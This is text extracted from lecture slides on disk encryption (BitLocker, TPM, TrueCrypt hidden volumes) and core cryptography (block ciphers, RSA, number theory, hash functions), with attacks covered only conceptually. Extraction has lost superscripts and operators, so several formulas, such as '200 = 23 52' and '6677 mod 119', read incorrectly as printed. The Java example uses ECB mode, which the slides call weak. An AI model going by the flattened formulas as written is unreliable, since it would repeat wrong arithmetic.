Passphrase

Hardware token

Key can be stored in special cryptographic chip that releases it after checking the integrity of the system

Trusted Platform Module (TPM)

10

BitLocker Architecture

Volumes

Small unencrypted boot volume

Large encrypted volume storing rest of OS and user files

Keys

Volume Master Key (VMK)

Unlocked through authentication procedure

Full Volume Encryption Key

Used to encrypt sectors of encrypted volume

Stored on boot volume encrypted with VMK

Kept in memory and never written unencrypted to disk

11

Encrypted Volume

Boot Volume

Startup and Operation

Authentication procedure checks integrity of system and unseals VMK

VMK used to decrypt FVEK, which is kept in main memory

For each disk sector accessed

Decrypt on read

Encrypt on write

12

Encrypting Disk Sectors

Each sector encrypted independently

Cannot create inter-sector dependencies

Speed is essential

Encryption and decryption at same or better rate than disk I/O peak rate in a standard laptop

Integrity checking not used

Sector sizes are powers of two (512B through 8,192B)

Adding a MAC would double space usage

Block ciphers are vulnerable to bit-flipping attacks in all known symmetric encryption modes

Plaintext of OS and applications code is predictable

Cryptographic design principles [Ferguson, 2006]

Encryption as poor man’s authentication

Preprocessing of each block to achieve diffusion

AES in CBC mode with sector-dependent IV

13

Trusted Platform Module (TPM)

Crypto processor

Mounted on motherboard

Tamper-resistant

Holds root key K that is never released

Has several platform configuration registers (PCRs), with fixed value at power up

Operation seal

Encrypts with K supplied plaintext p and associates it with a PCR i

Returns ciphertext c = EK(p) and MAC m = MAC(K,PCR[i])

Operation unseal

Input is a ciphertext c, PCR index i, and claimed MAC m

Decrypts ciphertext c and returns DK(c) if MAC(K,PCR[i]) = m

Operation extend

Only operation supported on PCRs

Input is a data item x and PCR index i

Computes step of hash chain: PCR[i] = h(PCR[i], x)

14

Image courtesy of sony.com

Booting with a TPM

Multi-level integrity checking

Allows BitLocker authentication without user intervention

Initialization

PCR extended with layers of trusted OS code (BIOS, boot loader, kernel, etc.)

Volume master key sealed to PCR

Trusted boot

Tamper-proof BIOS associated with TPM

Each code layer extends PCR with next layer

If integrity is not verified, PCR is extended with random value

Execution is transferred to next code layer

VMK can be unsealed only if the integrity of all layers has been successfully verified

15

Attacks on BitLocker

Compromise the TPM

Extraction of data from Infineon TPM recently presented by Christopher Tarnovsky at Black Hat DC 2010

Based on microprobing the substrate

Requires significant sophistication and specialized instruments

“Lest We Remember: Cold Boot Attacks on Encryption Keys”

Volume encryption key is stored in memory to decrypt the drive

RAM retains contents after power down for 2-3 seconds normally

Retention time can be extended for up to an hour by cooling the memory chip

Memory content accessed after booting from USB drive

Key recovered by analyzing memory

16

Image courtesy of Center for Information Technology Policy, Princeton University

Lost USB Drives

Millions of USB flash drives are in use today worldwide and thousands are lost each day, according to one estimate

Computer security does not prevent loss of USB drives

But we can try to avoid information leakage

17

Encrypting USB Flash Drives

In a perfect world, we would not store sensitive data on portable devices

All sensitive data should be held on secure servers.

Unfortunately, this approach is not always practical.

Design goals for data encryption on portable devices

Run on the device only

Not require host installation

Compatible with different platforms and file systems

Work from a nonprivileged account

Fast and possibly free …

18

TrueCrypt

Free open-source disk encryption software for Windows 7/Vista/XP, Mac OS X, and Linux

Creates an encrypted area (virtual encrypted disk) inside an ordinary file

In Windows, when the user provides the correct password, the file becomes a volume in My Computer with a drive letter—just like inserting a USB drive

Files copied to/from this encrypted volume are encrypted/decrypted on the fly, automatically and transparently

19

Create an encrypted volume on a usb flash drive

DEMO 1

20

Laptop Seizure and Deniability

Laptops and other electronic devices may be inspected, and even seized by police officers and other government personnel

Usually requires a warrant from a judge

A notable exception is the broad search and seizure authority granted to US customs

Scenario described in [Defeating Encrypted and Deniable File Systems, Czekis et al., 2006]

Alice is a human-rights worker who has sensitive information on her laptop

She uses TrueCrypt but she is concerned that the secret police will seize her computer and ask her to reveal the decryption key

She needs to protect her data in such a way that her encrypted files are deniable: nothing should reveal to the secret police that there are hidden files on her computer

21

Plausible Deniability

Political doctrine developed in the US in the 50's

If illegal operations are discovered, it should be possible to deny any connection or guilt of the principals

Applied to CIA operations. (i.e., Bay of Pigs failed invasion of Cuba)

In general, plausible deniability refers to

Any act that leaves little or no evidence of irregularities or abuse

In computer parlance, it is the ability to deny the presence of data hidden within a container

22

TrueCrypt Hidden Volume

Padded with random bits

23

TrueCrypt Hidden Volume

Padded with random bits

Inside the standard TrueCrypt volume are still random bits

24

TrueCrypt Hidden Volume

Padded with random bits

Inside the standard TrueCrypt volume are still random bits

Password (PA) standard volume

Password (PB) hidden volume

PA ≠ PB

25

Create a Hidden volume on a usb flash drive

DEMO 2

26

Ch08-CryptoConcepts.pptx

Cryptography

12/1/2010

1

Cryptography

Symmetric Cryptosystem

Scenario

Alice wants to send a message (plaintext P) to Bob.

The communication channel is insecure and can be eavesdropped

If Alice and Bob have previously agreed on a symmetric encryption scheme and a secret key K, the message can be sent encrypted (ciphertext C)

Issues

What is a good symmetric encryption scheme?

What is the complexity of encrypting/decrypting?

What is the size of the ciphertext, relative to the plaintext?

12/1/2010

Cryptography

2

C

P

P

encrypt

K

decrypt

K

Basics

Notation

Secret key K

Encryption function EK(P)

Decryption function DK(C)

Plaintext length typically the same as ciphertext length

Encryption and decryption are permutation functions (bijections) on the set of all n-bit arrays

Efficiency

functions EK and DK should have efficient algorithms

Consistency

Decrypting the ciphertext yields the plaintext

DK(EK(P)) = P

12/1/2010

Cryptography

3

Attacks

Attacker may have

collection of ciphertexts (ciphertext only attack)

collection of plaintext/ciphertext pairs (known plaintext attack)

collection of plaintext/ciphertext pairs for plaintexts selected by the attacker (chosen plaintext attack)

collection of plaintext/ciphertext pairs for ciphertexts selected by the attacker (chosen ciphertext attack)

12/1/2010

Cryptography

4

Hi, Bob.

Don’t invite Eve to the party!

Love, Alice

Encryption

Algorithm

Plaintext

Ciphertext

key

Eve

Hi, Bob.

Don’t invite Eve to the party!

Love, Alice

Plaintext

Ciphertext

key

ABCDEFG

HIJKLMNO

PQRSTUV

WXYZ.

Plaintext

Ciphertext

key

IJCGA, CAN DO HIFFA GOT TIME.

Plaintext

Ciphertext

key

Eve

001101

110111

(a)

(b)

(c)

(d)

Eve

Eve

Eve

Encryption

Algorithm

Encryption

Algorithm

Encryption

Algorithm

Brute-Force Attack

Try all possible keys K and determine if DK(C) is a likely plaintext

Requires some knowledge of the structure of the plaintext (e.g., PDF file or email message)

Key should be a sufficiently long random value to make exhaustive search attacks unfeasible

12/1/2010

Cryptography

5

Image by Michael Cote from http://commons.wikimedia.org/wiki/File:Bingo_cards.jpg

Encrypting English Text

12/1/2010

Cryptography

6

English text typically represented with 8-bit ASCII encoding

A message with t characters corresponds to an n-bit array, with n = 8t

Redundancy due to repeated words and patterns

E.g., “th”, “ing”

English plaintexts are a very small subset of all n-bit arrays

Ciphertexts n-bit strings

Plaintexts n-bit strings

English text

Ciphertext of English text

Entropy of Natural Language

12/1/2010

Cryptography

7

Information content (entropy) of English: 1.25 bits per character

t-character arrays that are English text:

(21.25)t = 21.25 t

n-bit arrays that are English text:

21.25 n/8  20.16 n

For a natural language, constant a < 1 such that there are 2an messages among all n-bit arrays

Fraction (probability) of valid messages

2an / 2n = 1 / 2(1-a)n

Brute-force decryption

Try all possible 2k decryption keys

Stop when valid plaintext recognized

Given a ciphertext, there are 2k possible plaintexts

Expected number of valid plaintexts

2k / 2(1-a)n

Expected unique valid plaintext , (no spurious keys) achieved at unicity distance

n = k / (1-a)

For English text and 256-bit keys, unicity distance is 304 bits

Substitution Ciphers

12/1/2010

Cryptography

8

Each letter is uniquely replaced by another.

There are 26! possible substitution ciphers.

There are more than 4.03 x 1026 such ciphers.

One popular substitution “cipher” for some Internet posts is ROT13.

Public domain image from http://en.wikipedia.org/wiki/File:ROT13.png

Frequency Analysis

12/1/2010

Cryptography

9

Letters in a natural language, like English, are not uniformly distributed.

Knowledge of letter frequencies, including pairs and triples can be used in cryptologic attacks against substitution ciphers.

Substitution Boxes

Substitution can also be done on binary numbers.

Such substitutions are usually described by substitution boxes, or S-boxes.

12/1/2010

Cryptography

10

One-Time Pads

There is one type of substitution cipher that is absolutely unbreakable.

The one-time pad was invented in 1917 by Joseph Mauborgne and Gilbert Vernam

We use a block of shift keys, (k1, k2, . . . , kn), to encrypt a plaintext, M, of length n, with each shift key being chosen uniformly at random.

Since each shift is random, every ciphertext is equally likely for any plaintext.

12/1/2010

Cryptography

11

Weaknesses of the One-Time Pad

In spite of their perfect security, one-time pads have some weaknesses

The key has to be as long as the plaintext

Keys can never be reused

Repeated use of one-time pads allowed the U.S. to break some of the communications of Soviet spies during the Cold War.

12/1/2010

Cryptography

12

Public domain declassified government image from

https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/books-and-monographs/venona-soviet-espionage-and-the-american-response-1939-1957/part2.htm

Block Ciphers

In a block cipher:

Plaintext and ciphertext have fixed length b (e.g., 128 bits)

A plaintext of length n is partitioned into a sequence of m blocks, P[0], …, P[m1], where n  bm  n + b

Each message is divided into a sequence of blocks and encrypted or decrypted in terms of its blocks.

12/1/2010

Cryptography

13

Plaintext

Blocks of

plaintext

Requires padding

with extra bits.

Padding

Block ciphers require the length n of the plaintext to be a multiple of the block size b

Padding the last block needs to be unambiguous (cannot just add zeroes)

When the block size and plaintext length are a multiple of 8, a common padding method (PKCS5) is a sequence of identical bytes, each indicating the length (in bytes) of the padding

Example for b = 128 (16 bytes)

Plaintext: “Roberto” (7 bytes)

Padded plaintext: “Roberto999999999” (16 bytes), where 9 denotes the number and not the character

We need to always pad the last block, which may consist only of padding

12/1/2010

Cryptography

14

Block Ciphers in Practice

Data Encryption Standard (DES)

Developed by IBM and adopted by NIST in 1977

64-bit blocks and 56-bit keys

Small key space makes exhaustive search attack feasible since late 90s

Triple DES (3DES)

Nested application of DES with three different keys KA, KB, and KC

Effective key length is 168 bits, making exhaustive search attacks unfeasible

C = EKC(DKB(EKA(P))); P = DKA(EKB(DKC(C)))

Equivalent to DES when KA=KB=KC (backward compatible)

Advanced Encryption Standard (AES)

Selected by NIST in 2001 through open international competition and public discussion

128-bit blocks and several possible key lengths: 128, 192 and 256 bits

Exhaustive search attack not currently possible

AES-256 is the symmetric encryption algorithm of choice

12/1/2010

Cryptography

15

The Advanced Encryption Standard (AES)

In 1997, the U.S. National Institute for Standards and Technology (NIST) put out a public call for a replacement to DES.

It narrowed down the list of submissions to five finalists, and ultimately chose an algorithm that is now known as the Advanced Encryption Standard (AES).

AES is a block cipher that operates on 128-bit blocks. It is designed to be used with keys that are 128, 192, or 256 bits long, yielding ciphers known as AES-128, AES-192, and AES-256.

12/1/2010

Cryptography

16

AES Round Structure

The 128-bit version of the AES encryption algorithm proceeds in ten rounds.

Each round performs an invertible transformation on a 128-bit array, called state.

The initial state X0 is the XOR of the plaintext P with the key K:

X0 = P XOR K.

Round i (i = 1, …, 10) receives state Xi-1 as input and produces state Xi.

The ciphertext C is the output of the final round: C = X10.

12/1/2010

Cryptography

17

AES Rounds

Each round is built from four basic steps:

SubBytes step: an S-box substitution step

ShiftRows step: a permutation step

MixColumns step: a matrix multiplication step

AddRoundKey step: an XOR step with a round key derived from the 128-bit encryption key

12/1/2010

Cryptography

18

Block Cipher Modes

A block cipher mode describes the way a block cipher encrypts and decrypts a sequence of message blocks.

Electronic Code Book (ECB) Mode (is the simplest):

Block P[i] encrypted into ciphertext block C[i] = EK(P[i])

Block C[i] decrypted into plaintext block M[i] = DK(C[i])

12/1/2010

Cryptography

19

Public domain images from http://en.wikipedia.org/wiki/File:Ecb_encryption.png and http://en.wikipedia.org/wiki/File:Ecb_decryption.png

Strengths and Weaknesses of ECB

12/1/2010

Cryptography

20

Strengths:

Is very simple

Allows for parallel encryptions of the blocks of a plaintext

Can tolerate the loss or damage of a block

Weakness:

Documents and images are not suitable for ECB encryption since patters in the plaintext are repeated in the ciphertext:

Cipher Block Chaining (CBC) Mode

In Cipher Block Chaining (CBC) Mode

The previous ciphertext block is combined with the current plaintext block C[i] = EK (C[i 1]  P[i])

C[1] = V, a random block separately transmitted encrypted (known as the initialization vector)

Decryption: P[i] = C[i 1]  DK (C[i])

12/1/2010

Cryptography

21

DK

P[0]

DK

P[1]

DK

P[2]

DK

P[3]

V

C[0]

C[1]

C[2]

C[3]

EK

P[0]

EK

P[1]

EK

P[2]

EK

P[3]

V

C[0]

C[1]

C[2]

C[3]

CBC Encryption:

CBC Decryption:

Strengths and Weaknesses of CBC

12/1/2010

Cryptography

22

Weaknesses:

CBC requires the reliable transmission of all the blocks sequentially

CBC is not suitable for applications that allow packet losses (e.g., music and video streaming)

Strengths:

Doesn’t show patterns in the plaintext

Is the most common mode

Is fast and relatively simple

Java AES Encryption Example

Source

http://java.sun.com/javase/6/docs/technotes/guides/security/crypto/CryptoSpec.html

Generate an AES key

KeyGenerator keygen = KeyGenerator.getInstance("AES"); SecretKey aesKey = keygen.generateKey();

Create a cipher object for AES in ECB mode and PKCS5 padding

Cipher aesCipher; aesCipher = Cipher.getInstance("AES/ECB/PKCS5Padding");

Encrypt

aesCipher.init(Cipher.ENCRYPT_MODE, aesKey); byte[] plaintext = "My secret message".getBytes(); byte[] ciphertext = aesCipher.doFinal(plaintext);

Decrypt

aesCipher.init(Cipher.DECRYPT_MODE, aesKey); byte[] plaintext1 = aesCipher.doFinal(ciphertext);

12/1/2010

Cryptography

23

Stream Cipher

Key stream

Pseudo-random sequence of bits S = S[0], S[1], S[2], …

Can be generated on-line one bit (or byte) at the time

Stream cipher

XOR the plaintext with the key stream C[i] = S[i]  P[i]

Suitable for plaintext of arbitrary length generated on the fly, e.g., media stream

Synchronous stream cipher

Key stream obtained only from the secret key K

Works for unreliable channels if plaintext has packets with sequence numbers

Self-synchronizing stream cipher

Key stream obtained from the secret key and q previous ciphertexts

Lost packets cause a delay of q steps before decryption resumes

12/1/2010

Cryptography

24

Key Stream Generation

RC4

Designed in 1987 by Ron Rivest for RSA Security

Trade secret until 1994

Uses keys with up to 2,048 bits

Simple algorithm

Block cipher in counter mode (CTR)

Use a block cipher with block size b

The secret key is a pair (K,t), where K a is key and t (counter) is a b-bit value

The key stream is the concatenation of ciphertexts

EK (t), EK (t + 1), EK (t + 2), …

Can use a shorter counter concatenated with a random value

Synchronous stream cipher

12/1/2010

Cryptography

25

Attacks on Stream Ciphers

Repetition attack

if key stream reused, attacker obtains XOR of two plaintexts

Insertion attack [Bayer Metzger, TODS 1976]

retransmission of the plaintext with

a chosen byte inserted by attacker

using the same key stream

e.g., email message resent with new message number

12/1/2010

Cryptography

26

P P[i] P[i+1] P[i+2] P[i+3]
S S[i] S[i+1] S[i+2] S[i+3]
C C[i] C[i+1] C[i+2] C[i+3]
P P[i] X P[i+1] P[i+2]
S S[i] S[i+1] S[i+2] S[i+3]
C C[i] C[i+1] C[i+2] C[i+3]

Original

Retransmission

Public Key Encryption

12/1/2010

27

Cryptography

Facts About Numbers

Prime number p:

p is an integer

p  2

The only divisors of p are 1 and p

Examples

2, 7, 19 are primes

-3, 0, 1, 6 are not primes

Prime decomposition of a positive integer n:

n = p1e1  …  pkek

Example:

200 = 23  52

Fundamental Theorem of Arithmetic

The prime decomposition of a positive integer is unique

12/1/2010

Cryptography

28

Greatest Common Divisor

The greatest common divisor (GCD) of two positive integers a and b, denoted gcd(a, b), is the largest positive integer that divides both a and b

The above definition is extended to arbitrary integers

Examples:

gcd(18, 30) = 6 gcd(0, 20) = 20 gcd(-21, 49) = 7

Two integers a and b are said to be relatively prime if

gcd(a, b) = 1

Example:

Integers 15 and 28 are relatively prime

12/1/2010

Cryptography

29

Modular Arithmetic

Modulo operator for a positive integer n

r = a mod n

equivalent to

a = r + kn

and

r = a - a/n n

Example:

29 mod 13 = 3 13 mod 13 = 0 -1 mod 13 = 12

29 = 3 + 213 13 = 0 + 113 12 = -1 + 113

Modulo and GCD:

gcd(a, b) = gcd(b, a mod b)

Example:

gcd(21, 12) = 3 gcd(12, 21 mod 12) = gcd(12, 9) = 3

12/1/2010

Cryptography

30

Euclid’s GCD Algorithm

Euclid’s algorithm for computing the GCD repeatedly applies the formula

gcd(a, b) = gcd(b, a mod b)

Example

gcd(412, 260) = 4

12/1/2010

Cryptography

31

a 412 260 152 108 44 20 4
b 260 152 108 44 20 4 0

Algorithm EuclidGCD(a, b)

Input integers a and b

Output gcd(a, b)

if b = 0

return a

else

return EuclidGCD(b, a mod b)

Analysis

Let ai and bi be the arguments of the i-th recursive call of algorithm EuclidGCD

We have

ai + 2 = bi + 1 = ai mod ai + 1 < ai + 1

Sequence a1, a2, …, an decreases exponentially, namely

ai + 2  ½ ai for i > 1

Case 1 ai + 1  ½ ai ai + 2 < ai + 1  ½ ai

Case 2 ai + 1 > ½ ai ai + 2 = ai mod ai + 1 = ai - ai + 1  ½ ai

Thus, the maximum number of recursive calls of algorithm EuclidGCD(a. b) is

1 + 2 log max(a. b)

Algorithm EuclidGCD(a, b) executes O(log max(a, b)) arithmetic operations

The running time can also be expressed as O(log min(a, b))

12/1/2010

Cryptography

32

Multiplicative Inverses (1)

The residues modulo a positive integer n are the set

Zn = {0, 1, 2, …, (n - 1)}

Let x and y be two elements of Zn such that

xy mod n = 1

We say that y is the multiplicative inverse of x in Zn and we write y = x-1

Example:

Multiplicative inverses of the residues modulo 11

12/1/2010

Cryptography

33

x 0 1 2 3 4 5 6 7 8 9 10
x-1 1 6 4 3 9 2 8 7 5 10

Multiplicative Inverses (2)

Theorem

An element x of Zn has a multiplicative inverse if and only if x and n are relatively prime

Example

The elements of Z10 with a multiplicative inverse are 1, 3, 7, 9

Corollary

If is p is prime, every nonzero residue in Zp has a multiplicative inverse

Theorem

A variation of Euclid’s GCD algorithm computes the multiplicative inverse of an element x of Zn or determines that it does not exist

12/1/2010

Cryptography

34

x 0 1 2 3 4 5 6 7 8 9
x-1 1 7 3 9

Example: Measuring Lengths

Consider a stick of length a and a stick of length b such that a and b are relatively prime

Given two integers i and j, we can measure length n = ia + jb

We show that any integer n can be written as n = ia + jb for some integers i and j

Let s be the inverse of a in Zb We have sa mod b = 1

There exists integer t such that sa + tb = 1

Pick i = ns and j = nt

Thus, given two sticks of relatively prime integer lengths, we can measure any integer length

Example, measure length 2 with sticks of length 3 and 7

12/1/2010

Cryptography

35

3

7

3

3

7

3

Example: Double Hashing

Consider a hash table whose size n is a prime

In open addressing with double hashing, an operation on key x probes the following locations modulo n

i, i + d, i + 2d, i + 3d, …, i + (n – 1)d

where i = h1(x) and d = h2(x)

We show that each table location is probed by this sequence once

Suppose (i + jd) mod n = (i + kd) mod n for some integers j and k in the range [0, n – 1]

We have (j - k)d mod n = 0

Since n is prime, we have that n and d are relatively prime

Thus, d has an inverse d- 1 in Zn

Multiplying each side by d- 1, we obtain (j - k) mod n = 0

We conclude that j = k

12/1/2010

Cryptography

36

Powers

Let p be a prime

The sequences of successive powers of the elements of Zp exhibit repeating subsequences

The sizes of the repeating subsequences and the number of their repetitions are the divisors of p - 1

Example (p = 7)

12/1/2010

Cryptography

37

x x2 x3 x4 x5 x6
1 1 1 1 1 1
2 4 1 2 4 1
3 2 6 4 5 1
4 2 1 4 2 1
5 4 6 2 3 1
6 1 6 1 6 1

Fermat’s Little Theorem

Theorem

Let p be a prime. For each nonzero residue x of Zp, we have xp - 1 mod p = 1

Example (p = 5):

14 mod 5 = 1 24 mod 5 = 16 mod 5 = 1

34 mod 5 = 81 mod 5 = 1 44 mod 5 = 256 mod 5 = 1

Corollary

Let p be a prime. For each nonzero residue x of Zp, the multiplicative inverse of x is xp - 2 mod p

Proof

x(xp - 2 mod p) mod p = xxp - 2 mod p = xp - 1 mod p = 1

12/1/2010

Cryptography

38

Euler’s Theorem

The multiplicative group for Zn, denoted with Z*n, is the subset of elements of Zn relatively prime with n

The totient function of n, denoted with f(n), is the size of Z*n

Example

Z*10 = { 1, 3, 7, 9 } f(10) = 4

If p is prime, we have

Z*p = {1, 2, …, (p - 1)} f(p) = p - 1

Euler’s Theorem

For each element x of Z*n, we have xf(n) mod n = 1

Example (n = 10)

3f(10) mod 10 = 34 mod 10 = 81 mod 10 = 1

7f(10) mod 10 = 74 mod 10 = 2401 mod 10 = 1

9f(10) mod 10 = 94 mod 10 = 6561 mod 10 = 1

12/1/2010

Cryptography

39

RSA Cryptosystem

12/1/2010

Cryptography

40

Setup:

n = pq, with p and q primes

e relatively prime to f(n) = (p - 1) (q - 1)

d inverse of e in Zf(n)

Keys:

Public key: KE = (n, e)

Private key: KD = d

Encryption:

Plaintext M in Zn

C = Me mod n

Decryption:

M = Cd mod n

Example

Setup:

p = 7, q = 17

n = 717 = 119

f(n) = 616 = 96

e = 5

d = 77

Keys:

public key: (119, 5)

private key: 77

Encryption:

M = 19

C = 195 mod 119 = 66

Decryption:

C = 6677 mod 119 = 19

Complete RSA Example

Setup:

p = 5, q = 11

n = 511 = 55

f(n) = 410 = 40

e = 3

d = 27 (327 = 81 = 240 + 1)

12/1/2010

Cryptography

41

Encryption

C = M3 mod 55

Decryption

M = C27 mod 55

Security

Security of RSA based on difficulty of factoring

Widely believed

Best known algorithm takes exponential time

RSA Security factoring challenge (discontinued)

In 1999, 512-bit challenge factored in 4 months using 35.7 CPU-years

160 175-400 MHz SGI and Sun

8 250 MHz SGI Origin

120 300-450 MHz Pentium II

4 500 MHz Digital/Compaq

In 2005, a team of researchers factored the RSA-640 challenge number using 30 2.2GHz CPU years

In 2004, the prize for factoring RSA-2048 was $200,000

Current practice is 2,048-bit keys

Estimated resources needed to factor a number within one year

12/1/2010

Cryptography

42

Length (bits) PCs Memory
430 1 128MB
760 215,000 4GB
1,020 342106 170GB
1,620 1.61015 120TB

Correctness

We show the correctness of the RSA cryptosystem for the case when the plaintext M does not divide n

Namely, we show that

(Me)d mod n = M

Since ed mod f(n) = 1, there is an integer k such that

ed = kf(n) + 1

Since M does not divide n, by Euler’s theorem we have

Mf(n) mod n = 1

Thus, we obtain

(Me)d mod n =

Med mod n =

Mkf(n) + 1 mod n = MMkf(n) mod n =

M (Mf(n))k mod n =

M (Mf(n) mod n)k mod n =

M (1)k mod n =

M mod n =

M

Proof of correctness can be extended to the case when the plaintext M divides n

12/1/2010

Cryptography

43

Algorithmic Issues

The implementation of the RSA cryptosystem requires various algorithms

Overall

Representation of integers of arbitrarily large size and arithmetic operations on them

Encryption

Modular power

Decryption

Modular power

Setup

Generation of random numbers with a given number of bits (to generate candidates p and q)

Primality testing (to check that candidates p and q are prime)

Computation of the GCD (to verify that e and f(n) are relatively prime)

Computation of the multiplicative inverse (to compute d from e)

12/1/2010

Cryptography

44

Modular Power

The repeated squaring algorithm speeds up the computation of a modular power ap mod n

Write the exponent p in binary

p = pb - 1 pb - 2 … p1 p0

Start with

Q1 = apb - 1 mod n

Repeatedly compute

Qi = ((Qi - 1)2 mod n)apb - i mod n

We obtain

Qb = ap mod n

The repeated squaring algorithm performs O (log p) arithmetic operations

Example

318 mod 19 (18 = 10010)

Q1 = 31 mod 19 = 3

Q2 = (32 mod 19)30 mod 19 = 9

Q3 = (92 mod 19)30 mod 19 = 81 mod 19 = 5

Q4 = (52 mod 19)31 mod 19 = (25 mod 19)3 mod 19 = 18 mod 19 = 18

Q5 = (182 mod 19)30 mod 19 = (324 mod 19) mod 19 = 1719 + 1 mod 19 = 1

12/1/2010

Cryptography

45

p5 - i 1 0 0 1 0
2p5 - i 3 1 1 3 1
Qi 3 9 5 18 1

Modular Inverse

Theorem

Given positive integers a and b, let d be the smallest positive integer such that

d = ia + jb

for some integers i and j.

We have

d = gcd(a,b)

Example

a = 21

b = 15

d = 3

i = 3, j = -4

3 = 321 + (-4)15 = 63 - 60 = 3

Given positive integers a and b, the extended Euclid’s algorithm computes a triplet (d,i,j) such that

d = gcd(a,b)

d = ia + jb

To test the existence of and compute the inverse of x  Zn, we execute the extended Euclid’s algorithm on the input pair (x,n)

Let (d,i,j) be the triplet returned

d = ix + jn

Case 1: d = 1

i is the inverse of x in Zn

Case 2: d > 1

x has no inverse in Zn

12/1/2010

Cryptography

46

Pseudoprimality Testing

The number of primes less than or equal to n is about n / ln n

Thus, we expect to find a prime among O(b) randomly generated numbers with b bits each

Testing whether a number is prime (primality testing) is a difficult problem, though polynomial-time algorithms exist

An integer n  2 is said to be a base-x pseudoprime if

xn - 1 mod n = 1 (Fermat’s little theorem)

Composite base-x pseudoprimes are rare:

A random 100-bit integer is a composite base-2 pseudoprime with probability less than 10-13

The smallest composite base-2 pseudoprime is 341

Base-x pseudoprimality testing for an integer n:

Check whether xn - 1 mod n = 1

Can be performed efficiently with the repeated squaring algorithm

12/1/2010

Cryptography

47

Randomized Primality Testing

Compositeness witness function witness(x, n) with error probability q for a random variable x

Case 1: n is prime

witness(x, n) = false always

Case 2: n is composite

witness(x, n) = true in most cases, false with small probability q < 1

Algorithm RandPrimeTest tests whether n is prime by repeatedly evaluating witness(x, n)

A variation of base- x pseudoprimality provides a suitable compositeness witness function for randomized primality testing (Rabin-Miller algorithm)

12/1/2010

Cryptography

48

Algorithm RandPrimeTest(n, k)

Input integer n,confidence parameter k and composite witness function witness(x,n) with error probability q

Output an indication of whether n is composite or prime with probability 2-k

t  k/log2(1/q)

for i  1 to t

x  random()

if witness(x, n) = true

return “n is composite”

return “n is prime”

Cryptographic Hash Functions

12/1/2010

49

Cryptography

Hash Functions

A hash function h maps a plaintext x to a fixed-length value x = h(P) called hash value or digest of P

A collision is a pair of plaintexts P and Q that map to the same hash value, h(P) = h(Q)

Collisions are unavoidable

For efficiency, the computation of the hash function should take time proportional to the length of the input plaintext

Hash table

Search data structure based on storing items in locations associated with their hash value

Chaining or open addressing deal with collisions

Domain of hash values proportional to the expected number of items to be stored

The hash function should spread plaintexts uniformly over the possible hash values to achieve constant expected search time

12/1/2010

Cryptography

50

Cryptographic Hash Functions

A cryptographic hash function satisfies additional properties

Preimage resistance (aka one-way)

Given a hash value x, it is hard to find a plaintext P such that h(P) = x

Second preimage resistance (aka weak collision resistance)

Given a plaintext P, it is hard to find a plaintext Q such that h(Q) = h(P)

Collision resistance (aka strong collision resistance)

It is hard to find a pair of plaintexts P and Q such that h(Q) = h(P)

Collision resistance implies second preimage resistance

Hash values of at least 256 bits recommended to defend against brute-force attacks

A random oracle is a theoretical model for a cryptographic hash function from a finite input domain P to a finite output domain X

Pick randomly and uniformly a function h: P X over all possible such functions

Provide only oracle access to h: one can obtain hash values for given plaintexts, but no other information about the function h itself

12/1/2010

Cryptography

51

Birthday Attack

The brute-force birthday attack aims at finding a collision for a hash function h

Randomly generate a sequence of plaintexts X1, X2, X3,…

For each Xi compute yi = h(Xi) and test whether yi = yj for some j < i

Stop as soon as a collision has been found

If there are m possible hash values, the probability that the i-th plaintext does not collide with any of the previous i -1 plaintexts is 1 - (i - 1)/m

The probability Fk that the attack fails (no collisions) after k plaintexts is

Fk = (1 - 1/m) (1 - 2/m) (1 - 3/m) … (1 - (k - 1)/m)

Using the standard approximation 1 - x  e-x

Fk  e-(1/m + 2/m + 3/m + … + (k-1)/m) = e-k(k-1)/2m

The attack succeeds/fails with probability ½ when Fk = ½ , that is,

e-k(k-1)/2m = ½

k  1.17 m½

We conclude that a hash function with b-bit values provides about b/2 bits of security

12/1/2010

Cryptography

52

Message-Digest Algorithm 5 (MD5)

Developed by Ron Rivest in 1991

Uses 128-bit hash values

Still widely used in legacy applications although considered insecure

Various severe vulnerabilities discovered

Chosen-prefix collisions attacks found by Marc Stevens, Arjen Lenstra and Benne de Weger

Start with two arbitrary plaintexts P and Q

One can compute suffixes S1 and S2 such that P||S1 and Q||S2 collide under MD5 by making 250 hash evaluations

Using this approach, a pair of different executable files or PDF documents with the same MD5 hash can be computed

12/1/2010

Cryptography

53

Secure Hash Algorithm (SHA)

Developed by NSA and approved as a federal standard by NIST

SHA-0 and SHA-1 (1993)

160-bits

Considered insecure

Still found in legacy applications

Vulnerabilities less severe than those of MD5

SHA-2 family (2002)

256 bits (SHA-256) or 512 bits (SHA-512)

Still considered secure despite published attack techniques

Public competition for SHA-3 announced in 2007

12/1/2010

Cryptography

54

Iterated Hash Function

A compression function works on input values of fixed length

An iterated hash function extends a compression function to inputs of arbitrary length

padding, initialization vector, and chain of compression functions

inherits collision resistance of compression function

MD5 and SHA are iterated hash functions

12/1/2010

Cryptography

55

||

||

||

||

P1

P2

P3

P4

IV

digest

M

123456789101112131415161718

C

18279155113171410112352492026182

M

192021222324252627282930313233343536

C

3925213312195314872450364322343016

M

373839404142434445464748495051525354

C

533729356332444541384244046284754

Sheet1

M 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
C 1 8 27 9 15 51 13 17 14 10 11 23 52 49 20 26 18 2
M 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
C 39 25 21 33 12 19 5 31 48 7 24 50 36 43 22 34 30 16
M 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
C 53 37 29 35 6 3 32 44 45 41 38 42 4 40 46 28 47 54

Hashing Time

0

0.01

0.02

0.03

0.04

0.05

0.06

01002003004005006007008009001000

Input Size (Bytes)

msec

SHA-1

MD5

Chart2

0 0
0.0053333333 0.0057777778
0.005 0.0053888889
0.0049444444 0.0051111111
0.0050555556 0.0050555556
0.0051111111 0.0051111111
0.005 0.0055555556
0.005 0.0053333333
0.0047777778 0.0051666667
0.0046666667 0.0052222222
0.0046111111 0.0051666667
0.0046111111 0.0051111111
0.0047777778 0.0052777778
0.0046111111 0.0057222222
0.0045555556 0.0053333333
0.0045555556 0.0052222222
0.0046666667 0.0057222222
0.0045 0.0053333333
0.0046111111 0.0055555556
0.0052222222 0.0057777778
0.0049444444 0.0053888889
0.0047222222 0.0055
0.0043888889 0.0051111111
0.0047222222 0.0056111111
0.0042777778 0.0055
0.0041111111 0.0056111111
0.0041111111 0.0045
0.0040555556 0.0044444444
0.0082222222 0.0076666667
0.0081666667 0.0077222222
0.0079444444 0.0077777778
0.008 0.0079444444
